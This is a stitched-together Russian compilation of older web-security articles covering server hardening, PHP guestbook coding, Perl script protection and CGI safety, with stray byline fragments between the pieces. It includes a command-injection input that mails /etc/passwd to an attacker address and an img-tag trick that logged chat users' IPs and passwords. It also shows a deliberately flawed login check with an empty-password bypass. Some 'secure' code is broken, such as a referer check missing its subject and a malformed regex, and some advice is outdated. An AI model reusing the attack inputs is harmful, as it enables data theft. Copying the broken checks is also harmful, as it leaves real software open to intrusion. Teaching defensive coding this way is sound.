Удалите все ненужные сеpвисы с вашего веб-сеpвеpа, оставив FTP (но только если он нужен на самом деле) и сpедство безопасного подключения в pежиме удаленного теpминала, такое как SSH. Любой ненужный, но оставленный сеpвис может стать помощником хакеpа пpи оpганизации им атаки.

Отключите все сpедства удаленного администpиpования, если они не используют шифpования всех данных сеансов или одноpазовых паpолей.

Огpаничьте число людей, имеющих полномочия администpатоpа или супеpпользователя (root).

Пpотоколиpуйте все действия пользователей и хpаните системные жуpналы либо в зашифpованной фоpме на веб-сеpвеpе либо на дpугой машине в вашем интpанете.

Пpоизводите pегуляpные пpовеpки системных жуpналов на пpедмет выявления подозpительной активности. Установите несколько пpогpамм-ловушек для обнаpужения фактов атак сеpвеpа (напpимеp, ловушку для выявления PHF-атаки). Напишите пpогpаммы, котоpые запускаются каждый час или около того, котоpые пpовеpяют целостность файла паpолей и дpугих кpитических файлов. Если такая пpогpамма обнаpужит изменения в контpолиpуемых файлах, она должна посылать письмо системному администpатоpу.

Удалите все ненужные файлы, такие как phf, из диpектоpий, откуда могут запускаться скpипты (напpимеp, из /cgi-bin).

Удалите все стандаpтные диpектоpии с документами, котоpые поставляются с веб-сеpвеpами, такими как IIS и ExAir.

Устанавливайте все необходимые испpавления пpогpамм на веб-сеpвеpе, касающиеся безопасности, как только о них становится известно.

Если вы должны использовать гpафический интеpфейс на консоли администpатоpа веб-сеpвеpа, удалите команды, котоpые автоматически запускают его с помощью инфоpмации в .RC-поддиpектоpиях и вместо этого создайте команду для его pучного запуска. Вы можете затем пpи необходимости использовать гpафический интеpфейс, но закpывать его тотчас же после того, как вы пpоизведете необходимые действия.
Не оставляйте гpафический интеpфейс pаботающим пpодолжительный пеpиод вpемени.

Если машина должна администpиpоваться удаленно, тpебуйте, чтобы использовалась пpогpамма, устанавливающая защищенное соединение с веб-сеpвеpом (напpимеp, SSH). Не позволяйте устанавливать с веб-сеpвеpом telnet-соединения или неанонимные ftp-соединения (то есть те, котоpые тpебуют ввода имени и паpоля) с недовеpенных машин. Неплохо будет также пpедоставить возможность установления таких соединений лишь небольшому числу защищенных машин, котоpые находятся в вашем интpанете.

Запускайте веб-сеpвеp в chroot-pежиме или pежиме изолиpованной диpектоpии (в этом pежиме эта диpектоpия кажется коpневой диpектоpией файловой системы и доступ к диpектоpиям файловой системы вне ее невозможен), чтобы нельзя было получить доступ к системным файлам.

Используйте анонимный FTP-сеpвеp (если он конечно вам нужен) в pежиме изолиpованной диpектоpии для диpектоpии, отличной от диpектоpии, являющейся коpнем документов веб-сеpвеpа.

Пpоизводите все обновления документов на публичном сеpвеpе из вашего интpанета. Хpаните оpигиналы ваших веб-стpаниц на веб-сеpвеpе в вашем интpанете и сначала обновляйте их на этом внутpеннем сеpвеpе; потом копиpуйте обновленные веб-стpаницы на публичный сеpвеp с помощью SSL-соединения. Если вы будете делать это каждый час, вы избежите того, что испоpченное содеpжимое сеpвеpа будет доступно в Интеpнет долгое вpемя.

Пеpиодически сканиpуйте ваш веб-сеpвеp такими сpедствами, как ISS или nmap, для пpовеpки отсутствия на нем известных уязвимых мест.

Оpганизуйте наблюдение за соединениями с сеpвеpом с помощью пpогpаммы обнаpужения атак (intrusion detection). Сконфигуpиpуйте эту пpогpамму так, чтобы она подавала сигналы тpевоги пpи обнаpужении попыток пpименить известные атаки или подозpительных действиях с веб-сеpвеpом, а также пpотоколиpовала такие соединения для детального анализа. Эта инфоpмация сможет впоследствии вам помочь устpанить уязвимые места и усилить вашу систему защиты.

Приемы безопасного программирования веб-приложений на PHP.

Илья Басалаев a.k.a. Scarab ().

Данная статья не претендует на роль всеобъемлющего руководства на тему "как сделать так, чтоб меня никто не поломал". Так не бывает. Единственная цель этой статьи - показать некоторые используемые мной приемы для защиты веб-приложений типа WWW-чатов, гостевых книг, веб-форумов и других приложений подобного рода. Итак, давайте рассмотрим некоторые приемы программирования на примере некоей гостевой книги, написанной на PHP.

Первой заповедью веб-программиста, желающего написать более-менее защищенное веб-приложение, должно стать "Никогда не верь данным, присылаемым тебе пользователем". Пользователи - это по определению такие злобные хакеры, которые только и ищут момента, как бы напихать в формы ввода всякую дрянь типа PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и тому подобных ужасных вещей. Поэтому первое, что необходимо сделать - это жесточайшим образом отфильтровать все данные, присланные пользователем.

Допустим, у нас в гостевой книге существует 3 формы ввода: имя пользователя, его e-mail и само по себе тело сообщения. Прежде всего, ограничим количество данных, передаваемых из форм ввода чем-нибудь вроде:

<input type=text name=username maxlength=20>

На роль настоящей защиты, конечно, это претендовать не может - единственное назначение этого элемента - ограничить пользователя от случайного ввода имени длиннее 20-ти символов. А для того, чтобы у пользователя не возникло искушения скачать документ с формами ввода и подправить параметр maxlength, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER:

<? $referer=getenv("HTTP_REFERER"); if (!ereg("^http://www.myserver.com")) { echo "hacker? he-he...\n"; exit; } ?>

Теперь, если данные переданы не из форм документа, находящегося на сервере www.myserver.com, хацкеру будет выдано деморализующее сообщение. На самом деле, и это тоже не может служить 100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО переданы из нашего документа.
В конце концов, переменная HTTP_REFERER формируется браузером, и никто не может помешать хакеру подправить код браузера, или просто зайти телнетом на 80-ый порт и сформировать свой запрос. Так что подобная защита годится только от Ну Совсем Необразованных хакеров. Впрочем, по моим наблюдениям, около 80% процентов злоумышленников на этом этапе останавливаются и дальше не лезут - то ли IQ не позволяет, то ли просто лень. Лично я попросту вынес этот фрагмент кода в отдельный файл, и вызываю его отовсюду, откуда это возможно. Времени на обращение к переменной уходит немного - а береженого Бог бережет.

Следующим этапом станет пресловутая жесткая фильтрация переданных данных. Прежде всего, не будем доверять переменной maxlength в формах ввода и ручками порежем строку:

$username=substr($username,0,20);

Не дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать анонимные сообщения:

if (empty($username)) { echo "invalid username"; exit; }

Запретим пользователю использовать в своем имени любые символы, кроме букв русского и латинского алфавита, знака "_" (подчерк), пробела и цифр:

if (preg_match("/[^(\w)|(\x7F-\xFF)|(\s)]/",$username)) { echo "invalid username"; exit; }

Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить наличие паттерна в строке или поменять один паттерн на другой, использовать Перл-совместимые регулярные выражения (Perl-compatible Regular Expressions). То же самое можно делать и используя стандартные PHP-шные ereg() и eregi(). Я не буду приводить здесь эти примеры - это достаточно подробно описано в мануале.

Для поля ввода адреса e-mail добавим в список разрешенных символов знаки "@" и ".", иначе пользователь не сможет корректно ввести адрес. Зато уберем русские буквы и пробел:

if (preg_match("/[^(\w)|(\@)|(\.)]/",$usermail)) { echo "invalid mail"; exit; }

Поле ввода текста мы не будем подвергать таким жестким репрессиям - перебирать все знаки препинания, которые можно использовать, попросту лень, поэтому ограничимся использованием функций nl2br() и htmlspecialchars() - это не даст врагу понатыкать в текст сообщения html-тегов.


Некоторые разработчики, наверное, скажут: "а мы все- таки очень хотим, чтобы пользователи _могли_ вставлять теги". Если сильно неймется - можно сделать некие тегозаменители, типа "текст, окруженный звездочками, будет высвечен bold'ом.". Но никогда не следует разрешать пользователям использование тегов, подразумевающих подключение внешних ресурсов - от тривиального <img> до супернавороченного <bgsound>.

Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно разрешение вставки картинок. Учитывая еще пару особенностей строения чата, через несколько минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена и пароли всех присутствовавших в этот момент на чате пользователей. Как? Да очень просто - чату был послан тег <img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (там не было людей, сидевших под lynx'ом :-) ). А скрипт, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя. С вышеупомянутым результатом.

Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах и гостевых книгах - это красиво, но игра не стоит свеч - вряд ли пользователи пойдут к Вам на книгу или в чат, зная, что их IP может стать известным первому встречному хакеру. Да и не только IP - возможности javascript'a я перечислять не буду :-)

Для примитивной гостевой книги перечисленных средств хватит, чтобы сделать ее более-менее сложной для взлома. Однако для удобства, книги обычно содержат некоторые возможности для модерирования - как минимум, возможность удаления сообщений. Разрешенную, естественно, узкому (или не очень) кругу лиц. Посмотрим, что можно сделать здесь.

Допустим, вся система модерирования книги также состоит из двух частей - страницы со списком сообщений, где можно отмечать подлежащие удалению сообщения, и непосредственно скрипта, удаляющего сообщения.


Назовем их соответственно admin1.php и admin2.php.

Простейший и надежнейший способ аутентикации пользователя - размещение скриптов в директории, защищенной файлом .htaccess. Для преодоления такой защиты нужно уже не приложение ломать, а web-сервер. Что несколько сложнее и уж, во всяком случае, не укладывается в рамки темы этой статьи. Однако не всегда этот способ пригоден к употреблению - иногда бывает надо проводить авторизацию средствами самого приложения.

Первый, самый простой способ - авторизация средствами HTTP - через код 401. При виде такого кода возврата, любой нормальный браузер высветит окошко авторизации и попросит ввести логин и пароль. А в дальнейшем браузер при получении кода 401 будет пытаться подсунуть web-серверу текущие для данного realm'а логин и пароль, и только в случае неудачи потребует повторной авторизации. Пример кода для вывода требования на такую авторизацию есть во всех хрестоматиях и мануалах:

if (!isset($PHP_AUTH_USER)) { Header("WWW-Authenticate: Basic realm=\"My Realm\""); Header("HTTP/1.0 401 Unauthorized"); exit; }

Разместим этот кусочек кода в начале скрипта admin1.php. После его выполнения, у нас будут две установленные переменные $PHP_AUTH_USER и PHP_AUTH_PW, в которых соответственно будут лежать имя и пароль, введенные пользователем. Их можно, к примеру, проверить по SQL-базе:

*** Внимание!!!***

В приведенном ниже фрагменте кода сознательно допущена серьезная ошибка в безопасности. Попытайтесь найти ее самостоятельно.

$sql_statement="select password from peoples where name='$PHP_AUTH_USER'"; $result = mysql($dbname, $sql_statement); $rpassword = mysql_result($result,0,'password'); $sql_statement = "select password('$PHP_AUTH_PW')"; $result = mysql($dbname, $sql_statement); $password = mysql_result($result,0); if ($password != $rpassword) { Header("HTTP/1.0 401 Auth Required"); Header("WWW-authenticate: basic realm=\"My Realm\""); exit; }

Упомянутая ошибка, между прочим, очень распространена среди начинающих и невнимательных программистов.


Когда-то я сам поймался на эту удочку - по счастью, особого вреда это не принесло, не считая оставленных хакером в новостной ленте нескольких нецензурных фраз.

Итак, раскрываю секрет: допустим, хакер вводит заведомо несуществующее имя пользователя и пустой пароль. При этом в результате выборки из базы переменная $rpassword принимает пустое значение. А алгоритм шифрования паролей при помощи функции СУБД MySQL Password(), так же, впрочем, как и стандартный алгоритм Unix, при попытке шифрования пустого пароля возвращает пустое значение. В итоге - $password == $rpassword, условие выполняется и взломщик получает доступ к защищенной части приложения. Лечится это либо запрещением пустых паролей, либо, на мой взгляд, более правильный путь - вставкой следующего фрагмента кода:

if (mysql_numrows($result) != 1) { Header("HTTP/1.0 401 Auth Required"); Header("WWW-authenticate: basic realm=\"My Realm\""); exit; }

То есть - проверкой наличия одного и только одного пользователя в базе. Ни больше, ни меньше.

Точно такую же проверку на авторизацию стоит встроить и в скрипт admin2.php. По идее, если пользователь хороший человек - то он приходит к admin2.php через admin1.php, а значит, уже является авторизованным и никаких повторных вопросов ему не будет - браузер втихомолку передаст пароль. Если же нет - ну, тогда и поругаться не грех. Скажем, вывести ту же фразу "hacker? he-he...".

К сожалению, не всегда удается воспользоваться алгоритмом авторизации через код 401 и приходится выполнять ее только средствами приложения. В общем случае модель такой авторизации будет следующей:

Пользователь один раз авторизуется при помощи веб-формы и скрипта, который проверяет правильность имени и пароля. Остальные скрипты защищенной части приложения каким-нибудь образом проверяют факт авторизованности пользователя.

Такая модель называется сессионной - после прохождения авторизации открывается так называемая "сессия", в течение которой пользователь имеет доступ к защищенной части системы.


Сессия закрылась - доступ закрывается. На этом принципе, в частности, строится большинство www-чатов: пользователь может получить доступ к чату только после того, как пройдет процедуру входа. Основная сложность данной схемы заключается в том, что все скрипты защищенной части приложения каким-то образом должны знать о том, что пользователь, посылающий данные, успешно авторизовался.

Рассмотрим несколько вариантов, как это можно сделать:

После авторизации все скрипты защищенной части вызываются с неким флажком вида adminmode=1. (Не надо смеяться - я сам такое видел).

Ясно, что любой, кому известен флажок adminmode, может сам сформировать URL и зайти в режиме администрирования. Кроме того - нет возможности отличить одного пользователя от другого. Скрипт авторизации может каким-нибудь образом передать имя пользователя другим скриптам. Распространено во многих www-чатах - для того, чтобы отличить, где чье сообщение идет, рядом с формой типа text для ввода сообщения, пристраивается форма типа hidden, где указывается имя пользователя. Тоже ненадежно, потому что хакер может скачать документ с формой к себе на диск и поменять значение формы hidden. Некоторую пользу здесь может принести вышеупомянутая проверка HTTP_REFERER - но, как я уже говорил, никаких гарантий она не дает. Определение пользователя по IP-адресу. В этом случае, после прохождения авторизации, где-нибудь в локальной базе данных (sql, dbm, да хоть в txt-файле) сохраняется текущий IP пользователя, а все скрипты защищенной части смотрят в переменную REMOTE_ADDR и проверяют, есть ли такой адрес в базе. Если есть - значит, авторизация была, если нет - "hacker? he-he..." :-)

Это более надежный способ - не пройти авторизацию и получить доступ удастся лишь в том случае, если с того же IP сидит другой пользователь, успешно авторизовавшийся. Однако, учитывая распространенность прокси-серверов и IP-Masquerad'инга - это вполне реально. Единственным, известным мне простым и достаточно надежным способом верификации личности пользователя является авторизация при помощи random uid.


Рассмотрим ее более подробно.

После авторизации пользователя скрипт, проведший авторизацию, генерирует достаточно длинное случайное число:

mt_srand((double)microtime()*1000000); $uid=mt_rand(1,1000000);

Это число он:

а) заносит в локальный список авторизовавшихся пользователей;

б) Выдает пользователю.

Пользователь при каждом запросе, помимо другой информации (сообщение в чате, или список сообщений в гостевой книге), отправляет серверу свой uid. При этом в документе с формами ввода будет присутствовать, наряду с другими формами, тег вида:

<input type=hidden name=uid value=1234567890>

Форма uid невидима для пользователя, но она передается скрипту защищенной части приложения. Тот сличает переданный ему uid с uid'ом, хранящимся в локальной базе и либо выполняет свою функцию, либо... "hacker? he-he...".

Единственное, что необходимо сделать при такой организации - периодически чистить локальный список uid'ов и/или сделать для пользователя кнопку "выход", при нажатии на которую локальный uid пользователя сотрется из базы на сервере - сессия закрыта.

Некоторые программисты используют в качестве uid не "одноразовое" динамически генерирующееся число, а пароль пользователя. Это допустимо, но это является "дурным тоном", поскольку пароль пользователя обычно не меняется от сессии к сессии, а значит - хакер сможет сам открывать сессии. Та же самая модель может быть использована везде, где требуется идентификация пользователя - в чатах, веб-конференциях, электронных магазинах.

В заключение стоит упомянуть и о такой полезной вещи, как ведение логов. Если в каждую из описанных процедур встроить возможность занесения события в лог-файл с указанием IP-адреса потенциального злоумышленника - то в случае реальной атаки вычислить хакера будет гораздо проще, поскольку хакеры обычно пробуют последовательно усложняющиеся атаки. Для определения IP-адреса желательно использовать не только стандартную переменную REMOTE_ADDR, но и менее известную HTTP_X_FORWARDED_FOR, которая позволяет определить IP пользователя, находящегося за прокси-сервером.Естественно - если прокси это позволяет.

При ведении лог-файлов, необходимо помнить, что доступ к ним должен быть только у Вас. Лучше всего, если они будут расположены за пределами дерева каталогов, доступного через WWW. Если нет такой возможности - создайте отдельный каталог для лог-файлов и закройте туда доступ при помощи .htaccess (Deny from all).

Я буду очень признателен, если кто-нибудь из программистов поделится своими не описанными здесь методами обеспечения безопасности при разработке приложений для Web.

P.S. Выражаю глубокую благодарность Козину Максиму (madmax@express.ru) за рецензирование данной статьи и ряд весьма ценных дополнений.

Уязвимые опеpационные системы:

Любая веpсия Unix или Windows NT, котоpая используется как веб-сеpвеp.

Ущеpб от атаки:

Возможен pазличный ущеpб - от пpостого блокиpования pаботы сеpвеpа до замены его содеpжимого поpногpафическим матеpиалом, политическими лозунгами или удаления гpупп файлов, а также pазмещения на сеpвеpе пpогpамм-тpоянских коней

Защита Web-сайтов

#3/2004

,

Превод с англ. и доработка текста: Oleg Prolubshikov

Александр Аграновский (), Роман Хади ()

Илья Басалаев a.k.a. Scarab.

, #02/2000

Валерий Коржов, журнал #02/97

Владимир Казеннов

Защита WWW-сценариев от несанкционированного копирования и модификации

Александр Аграновский

директор-гл.конструктор ГП КБ Спецвузавтоматика, Ростов-на-Дону

, +7(8632)932894

Роман Хади

зав. лаб. информационной безопасности ГП КБ Спецвузавтоматика, Ростов-на-Дону

, +7(8632)932894

В статье рассматривается один из основных подходов к генерации динамического контента в среде веб-приложений, а именно использование веб-сценариев и CGI, и применительно к ним, методы защиты исходных текстов от несанкционированного копирования и модификации. В качестве основного языка веб-сценариев взят наиболее популярный - язык Perl. Исследованы инструментальные средства сторонних разработчиков (Perl2Exe утилита), встроенные средства кроссплатформенных интерпретаторов языка Perl и общий метод искажения смысловой нагрузки идентификаторов в исходном тексте (source mangling). Представляются исходные тексты с примерами защиты исходных текстов. Для каждого из представленных методов проводится анализ защищенности и методов получения доступа непосредственно к исходным текстам и их модификации.

Время реакции на весьма динамично развивающуюся среду веб-технологий определяет эффективность работы любого Internet-сайта. Современные технологии создания веб-контента в режиме реального времени дали профессиональному веб-мастеру мощнейшие инструменты для управлениями потоками информации в Internet. В условиях постоянного роста производительности, использование языков сценариев или как их еще называют scripting languages или scripts, стало одним из опорных решений фундаментального подхода организации инфраструктуры Internet-сайтов. Мощные, легко осваиваемые специализированные языки программирования, ориентированные на разработчиков веб-сайтов, получили широчайшее распространение. Языки сценариев изначально были ориентированы на быстрое и эффективное решение иных задач, нежели языки программирования системного уровня, поскольку они создавались как логически связующие компоненты к уже готовым программным решениям [1]. Преимущества такого подхода перед традиционным статическим наполнением веб-порталов видны невооруженным взглядом.
Это и гибкость построения гипертекстовых переходов, и возможность создания отчетов по записям в базах данных в реальном времени, и генерация комплексных веб-документов из существующих элементарных компонентов [2].

Точно также, как и несколько лет назад в малых интегрированных сетях, в программировании контента публичных серверов существует два подхода. А именно, создание интерпретируемых сценариев и компиляция байт-кода. Первый подход не выходит за рамки CGI-программирования, согласно которого для разработки гипертекстовой страницы нужен только обычный текстовый редактор, а сам гипертекстовый документ должен легко читаться человеком. Второй подход повышает эффективность исполнения программы, а также защищенность кода от доступа и несанкционированных изменений [2]. Реализации интерпретаторов таких языков сценариев, как Perl и Phyton, в целях повышения эффективности перед исполнением сценария проводят предварительную перекомпиляцию в специальный мобильный байт-код. Для языка Perl, у него даже есть собственное название - пи-код (p-code), данное Ларри Уоллом (Larry Wall), создателем Perl. Такой код, будучи сформирован в результате трансляции исходного текста сценария, записывается в память или файл и лишь потом обрабатывается интерпретатором. Для языка Python файлы с байт-кодом (они имеют специальное расширение .pyc) в дальнейшем можно спокойно переносить с платформы на платформу и исполнять с равными правами как, к примеру, на Sun, так и на Intel PC/win32 - мобильность это позволяет.

В конце 90-х годов CGI-программирование, а это автоматизация, гостевые книги, форумы, опросы, списки рассылки, интерфейсы к базам данных и многое другое, стало наиболее популярным и эффективным способом организации интерактивного взаимодействия с пользователями. Как и в любой другой области программирования стали возникать свои вопросы и проблемы. Одним из самых интересных и неоднозначных вопросов был и остается вопрос о защите авторских прав [3]. Он актуален хотя бы потому, что все сценарные языки, такие как Perl, Phyton, JavaScript и всевозможные производные с постфиксом *script (т.е.


JavaScript, PerlScript и так далее) являются интерпретируемыми, и ни о каких бинарных кодах и скрытом исходном тексте не может идти и речи. В этом случае исследованию алгоритма работы сценария и использованию его без разрешения авторов не создано никаких препятствий. Программисты, создающие средства веб-автоматизации пытаются решить эту проблему всевозможными способами, прибегая порой к изощренным методикам сокрытия исходных текстов и защиты их от модификации. Собственно говоря, защита от модификации хороша также и как защита, что называется "от дурака", что немаловажно при продаже программного обеспечения не в комплексе, а как отдельной единицы, когда приобретающий программное обеспечение пользователь получает полный доступ не только к конфигурационным файлам, но и к пакету самих сценариев. И при отсутствии у него должной квалификации, внесенные в сценарий изменения могут существенно повлиять на отказоустойчивость и работоспособность всего комплекса. Кроме того, как показывает практика обеспечения информационной безопасности в открытых системах, программное обеспечение веб-серверов зачастую столь несовершенно, что при достаточной сноровке злоумышленник вполне способен получить исходный текст сценариев веб-сервера (классическим примером может послужить инцидент с веб-сервером WebTrends, который позволял получить исходный текст сценариев просто добавив пробел к его имен в строке запроса. Так, запрос по адресу "http://somewhere.in.the.internet.com/cgi-bin/script.pl" запускал script.pl на исполнение, а запрос к "http://somewhere.in.the.internet.com/cgi-bin/script.pl%20" выдавал исходный текст сценария любому неавторизованному пользователю).

Для, пожалуй, самого популярного в РуНете, да и во всем мире, языка сценариев Perl, одним из вариантов сокрытия исходных текстов стала возможность компилирования исходных текстов в исполняемый бинарный код (формат PE-exe для win32 платформ, ELF для Linux/BSD). Утилиту для компиляции, названную Perl2Exe, с недавних пор предоставляет компания сторонних разработчиков IndigoStar Software.Девизом разработчиков стала рекламная фраза о том, что теперь программист может распространять perl-сценарий в виде exe-файла, не предоставляя исходных текстов [4].

CGI скрипты.

Пренебрегая тем фактом, что северы в сети изначально небезопасны, CGI скрипты ухудшают ситуацию, давая пользователям и хакерам возможность пользоваться особенностями CGI. CGI ценарии - это программы, находящиеся и выполняющиеся на сервере, кторые могут запускаться по запросу от web обозревателя (браузера, browser). Другими словами, CGI сценарии позволяют выполнять мощные программы на вашем сервере, которые, по всей вероятности, находятся на первой стадии своей разработки, составленные любителями и полные лазейками в безопасности.

Однако, так как число пользователей, требующих доступ к CGI сценариям, возросло, то некоторые администраторы стали налагать запрет на запись, установку и публикацию CGI сценариев всех типов.

Так что же должен делать web мастер и как пользовательские CGI сценарии могут помогать в обеспечении комплексной безопасности системы?

CGI сценарий должен быть сделан настолько безопасным, насколько это возможно.

Неизбежные попытки взлома CGI сценариев должны пресекаться.

Каталоги с правами на запись.

Использование каталогов с правами записи, в значительной степени неизбежно. Любое комплексное, а соответственно сложное CGI приложение окажется перед необходимостью записи в файловую систему. Примерами записи являются файлы паролей зарегистрировавшихся пользователей, генерация ключей, ведение log-файлов, временных файлов и т.д.

Проблема состоит из двух моментов. Первый заключается в том, что если пользователю даются права на запись, то он соответственно получает права на удаление. Таким образом, права на запись и на удаление оказываются в одних руках. Поэтому в терминах безопасности сервера они считаются равными. Вторым моментом является, то что хакер может использовать записываемую часть /cgi-bin каталога, чтобы добавить свой собственный CGI-скрипт. Особенную опасность это представляет для многопользовательских серверов типа тех, которые используют обычные провайдеры (ISP, [Internet Service Provider] поставщик услуг Internet (коммерческая фирма, предоставляющая индивидуальным пользователям доступ к службам сети Internet)). Хакеру требуется всего-лишь получить свой собственный, легальный account у тогоже ISP (провайдера), чтобы использовать или найти лазейку в системе безопасности. Для этого ему придется оплатить где-нибудь минут 20 легального доступа в Internet.

Ксати сказать, эта тактика получения account'а на сервере провайдера в особенности привлекает людей, вечно сующих нос в чужие дела - снуперов (от англ. snoop - "человек, вечно сующий нос в чужие дела" или в качестве глагола "шпионить", "выслеживать"). Если хакер может получить на вашем сервере account, то в вашем арсенале не так уж много способов, не позволить ему взять ваш каталог /cgi-bin и начать его исследовать, ввиду общедоступности сервера.

Главным образом, решение этой проблемы является следующее правило. Никогда не храните каталоги и файлы с правами на запись в каталоге /cgi-bin. Все подобные файлы должны быть сохранены в каталогах типа тех, в которых вы храните ваши html документы или в каталогах типа /tmp, т.е.
в тех, которые несут в себе наименьшую опасность. Тем самым у хакера конечно остается возможность удалять ваши файлы, но он уже не сможет выполнить свой CGI-скрипт.

Таким образом вы должны не только изменять названия всех файлов и сценариев CGI, но также распологать их в наиболее безопасных местах вашего сервера. Если CGI приложение написано хорошо, то вам не придется копаться в коде и менять все имена файлов и каталогов. Информация подобного рода должна хранится в файле установки CGI приложения.

Также необходимо, чтобы вы защищали все файлы от записи, если в настоящее время он не находится в стадии разработки или редактирования. Другими словами, если вы не редактируете html-файл, то права доступа к нему должны быть установлены только на чтение. Также если вы постоянно не изменяете CGI-скрипт, то права доступа должны быть только на чтение и выполнение, но ни в коем случае не на запись. Короче говоря никогда не предоставляйте любому файлу на вашем сервере права на запись, если он непосредственно не изменяется или не редактируется.

В заключение хочется добавить - всегда создавайте резервные копии ваших файлов. Ожидайте и готовьтесь к самому худшему. Если вы работаете на платформе UNIX, то можете воспользоваться командой tar:

tar cvfp name.tar rootdirectoryname

причем желательно, чтобы вы это делали не реже чем один раз в несколько дней.

Затем вы должны переместить этот файл на машину которая не имеет выхода в сеть или на место, которое имеет наименьшие права доступа типа:

chmod 400

Пользователи платформы Windows могут пользоваться, к примеру, программой WinZip для создания архивов.

Написание безопасных CGI скриптов.

Хотя эта статья прежде всего обращает свое внимание на аспекты безопасности при установке и настройке уже написанных CGI скриптов, также нельзя оставить без внимания основные принципы написания безопасного кода. Ведь, в конце концов, часью работы по установке и настройке включаемого кода является и написание некоторого собственного кода.

Пожалуй, самый лучший источник информации по написанию безопасного CGI кода - это Lincoln Stein's WWW Security FAQ. Скажем так, что вы не должны браться за написание или установку CGI скриптов, если вы полностью не прочитали вышеупомямутый FAQ. Но, тем не менее, приведем некоторые особо важные моменты, на которые стоит обратить внимание при написании CGI скриптов.

Никогда, никогда не допускайте непроверенных данных, переданных удаленным пользователем командной оболочке.

На языке С команды popen() и system() включают в себя вызов подоболочки (subshell) /bin/sh чтобы обработать команду. В Perl это функции system(), exec(), и open(), а так же eval(), которые включают в себя непосредственно вызов интерпретатора языка (Perl). В различных оболочках такими полномочиями обладают функции типа exec и eval.

Обратные ковычки, доступные в интерпретаторах оболочек и Perl для фиксации вывода программ как текстовых строк, также представляют опасность.

Причину такого параноидального поведения можно проиллюстрировать на примере Perl-кода, который посылает адресату информацию введенную, например, пользователем в форму. Текст кода, по началу, кажется безобидным:

$mail_to = &get_name_from_input; # read the address from form open (MAIL,"| /usr/lib/sendmail $mail_to"); print MAIL "To: $mailto\nFrom: me\n\nHi there!\n"; close MAIL;

Проблема заключается в том, что автор кода изначально предполягает, что пользователь введет в форму нужную информацию, т.е. e-mail адресата и переменная $mail_to будет содержать безопасную информацию. Но что произойдет если хитрый хакер введет в поле e-mail адреса следующую строку:

nobody@nowhere.com; mail sbadguys@hell.org</etc/passwd;

Команда open() выполнит следующие команды:

/usr/lib/sendmail nobody@nowhere.com mail badguys@hell.org</etc/passwd

Таким образом файл /etc/passwd, содержащий пароли системы, будет выслан на e-mail хакера, который попытается использовать его для атаки вашей системы.

Другую информацию по CGI безопасности можно получить по адресу:

Некоторые аспекты безопасности при написании и установке CGI-скриптов.

Превод с англ. и доработка текста:
Автор: Selena Sol

Сценарии CGI несут в себе столько же опасности, сколько и пользы. Но это не говорит о том, что вы не должны ими пользоваться. На то и существует компьютерная безопасность, чтобы брать ситуацию в свои руки. Вы никогда не можете быть в полной безопасности, если предоставляете определенный сервис или какие-то услуги. Однако без последнего вы можете ровно столько же, сколько и без самого компьютера. Таким образом, защита становится важнее, в рамках приемлемого риска и с учетом возможного восстановления, после нарушения работы системы, чем полная недоступность. Это - ваша работа, удостовериться, что всех отрицательных аспектов, касающихся безопасности вашего web-сервера, значительно меньше чем положительных. Ниже обсуждаются фундаментальные концепции безопасности и защиты при установке и настройке уже написанных (pre-built) CGI сценариев. А так же даются отправные точки для поиска дальнейшей информации.

"Все данные мошеннические.
Всякую систему пытаются взломать.
Все клиенты - воры.
Технология - только моя первая строка защиты".

- унылый утренний перечень Администратора.

Минута соединения вашего компьютера с Internet - это минута, когда безопасность ваших данных подвергается риску. Даже наиболее безопасные системы, которые находятся под контролем наиболее образованных и способных, с большим опытом, системных администраторов, с использованием самого современного и проверенного програмного обеспечения, постоянно находятся в опасности, каждый день. Как было доказано Кевином Митником (Kevin Mitnick) при взломе San Diego Supercomputer Center в 1994 году, даже самые "закаленные" защиты, написанные ветеранами подобно Tsutomu Shimamura можно, обойти.

Весьма печальным фактом является то, что хакеры зачастую обладают некоторыми преимуществами. Время, постоянство, творческий потенциал, сложность программного обеспечения, окружение сервера и невежество рядового пользователя - их оружие. Администратор системы должен манипулировать множеством, постоянно изменяющихся, комплексно связанных аспектов безопасности в целом, в то время как хакерам требуется только терпеливо ждать, когда администратор ошибется.
А ведь конечно, не надо забывать, что администратор - только человек и зачастую один.

Таким образом работа системного администратора не может состоять только из создания среды отлова хакеров и атак. Скорее администратор может надеятся на то что, формируемая система будет в достаточной степени отказо-устойчивой и защищенной от проникновения злоумышлиника.

Среда, защищенная от хакера - эта та среда, в которой сделано все настолько безопасно, насколько это возможно, а также создание таких условий, что в случае успешного проникновения злоумышлиника в систему, оно наносило минимум ущерба.

Таким образом, например, в минимальном случае, администратор системы должен резервировать все данные системы таким образом, чтобы, если данные были злонамеренно или случайно уничтожены или изменены, их можно было бы, с наибольшей степенью вероятности и целостности, восстановить.

Кстати сказать, не думайте, что, если вы официально не являетесь системным администратором, то все вышесказанное к вам не относится. Фактически, как только вы выполняете или используете CGI сценарий, вы становитесь разновидностью системного администратора. Например, создавая Web Site, оснащенный некоторым количеством CGI сценариев, вы получаете собственных пользователей, файлы данных, и соответственно все аспекты безопасности, связанные с ними.

Есть надежный и устоявшийся список предосторожностей для минимального уровня защиты:

Удостоверьтесь, что пользователи понимают что такое "хороший" пароль, и что такое "плохой" пароль и чем они отличаютя. "Хорошие" пароли не могут быть найдены в словаре и как правило составляются из букв, цифр и символов. "Хорошие" пароли также регулярно меняются и не пишутся на клочках бумаги в настольных книгах.

Удостоверьтесь, что права доступа к файлам (file permissions) установлены верно.

Удостоверьтесь, что не пропустили очередной объявленной заплаты (patches) или исправлении бага (bug fixed). Например, можно подписаться на CERT или CIAC mailist (список рассылки), или регулярно посещать сайт, распростроняющий используемый вами код.



Пытайтесь регулярно взломать ваш сайт самостоятельно. Изучите инструментальные средства хакеров (hack tools), ведь они используют против вас лучшие средства для несанкционированного доступа в вашу систему.

Регулярно создавайте резервные копии.

